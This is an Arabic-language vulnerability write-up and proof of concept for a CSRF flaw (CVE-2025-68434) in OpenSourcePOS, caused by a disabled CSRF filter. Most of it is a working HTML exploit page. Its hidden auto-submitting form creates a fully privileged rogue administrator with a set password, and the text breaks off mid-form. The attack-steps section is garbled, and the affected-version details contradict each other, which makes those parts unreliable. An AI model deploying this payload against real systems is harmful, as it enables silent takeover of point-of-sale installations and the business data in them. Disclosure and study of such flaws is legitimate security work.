
PoC & Write-up لثغرة CVE-2025-68434: ثغرة CSRF حرجة في OpenSourcePOS. تستغل تهيئة فلتر معطّلة للسماح للمهاجمين غير المصادَق عليهم بإنشاء حسابات مسؤول مارقة بصمت، مما يؤدي إلى السيطرة الكاملة على النظام. تم التحقق منها على الإصدارات < 3.4.0.
| البيانات الوصفية | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-68434 |
| الخطورة | حرجة (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| نوع الثغرة | تزوير الطلبات عبر المواقع (CWE-352) |
| الإصدارات المتأثرة | OpenSourcePOS v3.4.0, v3.4.1 |
| الإصدار المُصحَّح | v3.4.2 |
| المكوّن المعرَّض للخطر | app/Config/Filters.php (المرشحات الأمنية العامة) |
| المُبلّغ | Aditya Singh (Nixon-H) |
تم اكتشاف ثغرة حرجة من نوع تزوير الطلبات عبر المواقع (CSRF) في الإعداد الأمني الأساسي لتطبيق OpenSourcePOS. كانت آلية الحماية العامة من CSRF في التطبيق معطَّلة بشكل صريح داخل ملف app/Config/Filters.php بسبب "TODO" تطويرية مؤقتة لم يتم حسمها أبداً.
سمح هذا الإعداد الخاطئ للتطبيق بقبول طلبات HTTP التي تُغيّر الحالة (POST) دون التحقق من وجود رمز صالح لمكافحة التزوير. يمكن لمهاجم بعيد غير مصادَق استغلال ذلك عبر خداع مسؤول مسجّل الدخول لزيارة صفحة خبيثة. تقوم صفحة المهاجم بعد ذلك بإجبار متصفح الضحية بصمت على تنفيذ إجراءات إدارية؛ وتحديداً إنشاء حساب مسؤول "باب خلفي (Backdoor)" جديد بصلاحيات كاملة؛ مما يؤدي إلى الاستيلاء الكامل على النظام.
كانت الثغرة موجودة في إعداد المرشحات العامة (Global Filters) (app/Config/Filters.php). في CodeIgniter 4، تحدد المصفوفة $globals المرشحات التي تعمل على كل طلب.
في الإصدارات المتأثرة، كان مرشح csrf معلَّقاً (commented out) ضمن قائمة التنفيذ before، مما أدى فعلياً إلى تعطيل حماية CSRF للتطبيق بالكامل.
الكود المعرَّض للخطر (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
نظراً لتعليق هذا السطر، لم يتم تنفيذ الوسيط المسؤول عن فحص csrf_token_name إطلاقاً. كان التطبيق يقبل أي طلب POST من أي مصدر، معتمداً بشكل كامل على ملف تعريف ارتباط الجلسة (ospos_session) للمصادقة.
csrf_exploit.html على خادم خارجي.valid_12345) فوراً.POC/csrf_exploit.html)هذه هي الحمولة (payload) الدقيقة المستخدمة لإنشاء مسؤول مارق بصلاحيات كاملة:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">